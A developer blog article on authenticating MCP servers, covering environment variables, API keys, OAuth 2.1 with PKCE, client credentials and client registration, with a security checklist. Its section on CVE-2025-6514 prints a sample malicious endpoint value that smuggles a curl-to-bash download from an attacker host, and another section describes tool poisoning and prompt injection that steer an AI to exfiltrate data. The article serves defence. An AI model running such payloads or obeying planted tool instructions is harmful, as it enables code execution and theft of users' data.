Skip to content

MCP Server Authentication: OAuth 2.1, API Keys, and Security Best Practices

How to authenticate MCP servers — env vars for local, OAuth 2.1 for remote. Covers PKCE, client-credentials, and the CVE that broke mcp-remote.

March 27, 2026
6 min read

Every MCP server that accepts remote connections needs authentication. Without it, any client on the internet can call your tools, read your data, and burn through your API quota. The MCP specification addressed this in the 2025-03-26 revision by adopting OAuth 2.1 as the standard for HTTP transport. The 2025-11-25 update then overhauled client registration and added machine-to-machine support.

This guide covers every authentication method available for MCP servers, when to use each one, and the security mistakes that have already bitten early adopters.

Three Authentication Methods for MCP Servers

MCP servers authenticate clients through one of three mechanisms, depending on transport and deployment model.

1. Environment Variables (Stdio Transport)

Local MCP servers running via stdio inherit credentials from the host process. The MCP spec is explicit: stdio implementations SHOULD NOT follow the OAuth specification. They retrieve credentials from the environment instead.

{
  "mcpServers": {
    "my-server": {
      "command": "npx",
      "args": ["my-mcp-server"],
      "env": {
        "API_KEY": "sk-live-abc123...",
        "DATABASE_URL": "postgresql://..."
      }
    }
  }
}

Each server process gets its own isolated environment variables. A compromised tool in one server cannot access keys intended for another.

When to use it: Local-only servers wrapping third-party APIs (GitHub, Stripe, databases). The server holds the API key; the MCP client never sees it.

2. API Key via HTTP Header

For remote servers that need simple machine authentication without user context, API keys in HTTP headers work. This is not part of the MCP spec itself, but it is the most common pattern for private servers behind a gateway. This is how most MCP servers in production start.

When to use it: Internal services, developer tools, servers where every client is a known application (not an end user).

3. OAuth 2.1 (HTTP Transport, Spec-Compliant)

The full MCP authorization spec. Required when your server acts on behalf of users who must consent to access, or when you need interoperability with any MCP client.

When to use it: Public-facing SaaS integrations, multi-tenant servers, any scenario where a human user must authorize access to their data.

OAuth 2.1 for MCP: The Complete Flow

The 2025-03-26 MCP specification mandates OAuth 2.1 for HTTP-based transport authorization. Here is how it works.

Server Metadata Discovery

Clients first discover your authorization endpoints via RFC 8414. MCP clients MUST check for a metadata document; MCP servers SHOULD provide one.

GET https://api.example.com/.well-known/oauth-authorization-server

The metadata endpoint lives at the root of the domain, regardless of MCP server path. If your server is at https://api.example.com/v1/mcp, the metadata endpoint is still at https://api.example.com/.well-known/oauth-authorization-server.

If the server returns 404, clients fall back to default paths (/authorize, /token, /register) relative to the domain root.

Authorization Code Grant with PKCE

PKCE is required for all clients. The flow works as follows:

  1. Client requests an MCP resource without a token
  2. Server responds with HTTP 401
  3. Client generates PKCE parameters (code verifier + S256 challenge) and redirects the user to the authorization endpoint
  4. User authorizes; server redirects back with an authorization code
  5. Client exchanges the code for tokens, proving possession of the original verifier
  6. Client includes the access token in every subsequent MCP request

The critical code for steps 3 and 5:

import crypto from "crypto";

// Step 3: Generate PKCE parameters
const codeVerifier = crypto.randomBytes(32).toString("base64url");
const codeChallenge = crypto
  .createHash("sha256")
  .update(codeVerifier)
  .digest("base64url");

// Step 5: Exchange code for tokens
const tokenResponse = await fetch("https://api.example.com/token", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    grant_type: "authorization_code",
    code: authorizationCode,
    redirect_uri: "http://localhost:3000/callback",
    client_id: clientId,
    code_verifier: codeVerifier
  })
});

Clients MUST use S256 as the code challenge method -- plain is not allowed under OAuth 2.1. The Authorization: Bearer <token> header MUST appear on every HTTP request. Tokens MUST NOT appear in URL query strings.

Server-Side: Token Endpoint

If you are building your own MCP server, the authorization server needs three endpoints:

EndpointPurpose
/.well-known/oauth-authorization-serverMetadata discovery (RFC 8414)
/authorizeUser consent + authorization code issuance
/tokenCode-to-token exchange, refresh token rotation

The token endpoint must verify PKCE by hashing the submitted code_verifier with SHA-256 and comparing it to the stored code_challenge. Only issue tokens when the hashes match.

Machine-to-Machine Auth: Client Credentials Grant

Not every MCP client has a human behind it. Automated agents, backend services, and CI/CD pipelines need to call MCP tools without browser-based consent.

The 2025-03-26 spec included client_credentials as a supported grant type, and the 2025-11-25 update reinforced it for autonomous agents. This is what makes headless agentic systems viable with MCP.

const tokenResponse = await fetch("https://api.example.com/token", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": `Basic ${btoa(`${clientId}:${clientSecret}`)}`
  },
  body: new URLSearchParams({
    grant_type: "client_credentials",
    scope: "tools:execute"
  })
});

The server authenticates the client application directly (via client ID + secret), not a user. The issued access token represents the application, not a person.

Client Registration: From DCR to CIMD

How an MCP client gets a client_id changed significantly between spec versions.

2025-03-26: Dynamic Client Registration (DCR). The original spec recommended RFC 7591. Clients could POST /register to obtain credentials automatically. The problem: DCR endpoints are public APIs that need rate limiting, create unbounded database growth, and produce credential lifecycle headaches.

2025-11-25: Client ID Metadata Documents (CIMD). The November 2025 update replaced DCR as the default. Under CIMD, the client_id is a URL the client controls:

{
  "client_id": "https://my-mcp-client.com/.well-known/client.json",
  "client_name": "My MCP Client",
  "redirect_uris": ["http://localhost:3000/callback"],
  "grant_types": ["authorization_code"],
  "token_endpoint_auth_method": "none"
}

The authorization server fetches this metadata document to learn about the client. No registration endpoint needed. No database growth. The client proves its identity through DNS ownership. DCR still exists in the spec, but CIMD is the recommended default.

Security Mistakes That Already Happened

MCP authentication is new, and the ecosystem has already produced real vulnerabilities.

CVE-2025-6514: Command Injection via OAuth

In July 2025, JFrog disclosed a critical vulnerability (CVSS 9.7) in mcp-remote, the npm package used by Cursor and other clients to connect to remote MCP servers. Versions 0.0.5 through 0.1.15 were affected -- over 437,000 downloads.

The attack: a malicious MCP server returns a crafted authorization_endpoint URL during OAuth metadata discovery. The package passed this URL unsanitized to the OS open() function, enabling shell command injection. Connecting to the server was enough to trigger arbitrary code execution. No additional interaction required.

// Malicious authorization_endpoint:
"https://evil.com\"; curl attacker.com/payload.sh | bash; #"

The fix: upgrade to mcp-remote v0.1.16+, which sanitizes authorization endpoint URLs before shell execution. The lesson: never trust URLs from remote MCP servers. Validate and sanitize every field from metadata discovery.

Tool Poisoning and Rug Pulls

Beyond OAuth attacks, MCP servers face broader security threats:

  • Tool poisoning: Malicious instructions hidden in tool descriptions, invisible to users but visible to the AI model. The poisoned tool does not need to be called -- loading it into context is enough.
  • Rug pulls: A server changes tool descriptions after user approval, turning trusted tools malicious.
  • Prompt injection via tool output: Tool return values contain instructions that steer the AI to exfiltrate data or call unauthorized tools.

Security Checklist

Use this when implementing or auditing MCP server authentication.

Transport Layer

  • All authorization endpoints served over HTTPS
  • Redirect URIs restricted to localhost or HTTPS URLs
  • Tokens only in Authorization header, never in URL query strings

OAuth Implementation

  • PKCE required for all clients (S256, not plain)
  • Access tokens have limited lifetimes (1 hour recommended)
  • Refresh token rotation enabled
  • Server metadata published at /.well-known/oauth-authorization-server
  • Invalid/expired tokens return HTTP 401

Client Security

  • Tokens stored securely (OS keychain, encrypted storage)
  • OAuth endpoints from server metadata validated and sanitized before use
  • mcp-remote updated to v0.1.16+ if used

Server Security

  • Input validation on all tool parameters
  • Rate limiting on authorization and token endpoints
  • Scope enforcement: tokens only grant access to requested capabilities
  • Tool descriptions pinned and monitored for unauthorized changes

Environment Variables (Stdio)

  • API keys never committed to config files in version control
  • Each server process gets isolated environment variables
  • No secrets passed as command-line arguments (visible in process lists)

The Bottom Line

MCP authentication splits into two clean paths. Local stdio servers use environment variables, and the spec says not to use OAuth for them. Remote HTTP servers use OAuth 2.1 with PKCE, and the spec mandates it.

The 2025-11-25 update made two practical improvements: CIMD replaced Dynamic Client Registration as the default identity mechanism, and client credentials got full support for machine-to-machine scenarios. Both changes move MCP auth closer to production readiness.

CVE-2025-6514 proved that auth-adjacent code -- not just the auth flow itself -- needs the same rigor. Sanitize every field from metadata discovery. Pin your dependencies. Audit the tools you connect to, not just the servers you build.

Building an MCP server? Start with our step-by-step TypeScript tutorial, then read the deployment guide and security hardening checklist.

mcpoauthauthenticationsecuritymcp-serversdeveloper-tools
Share this article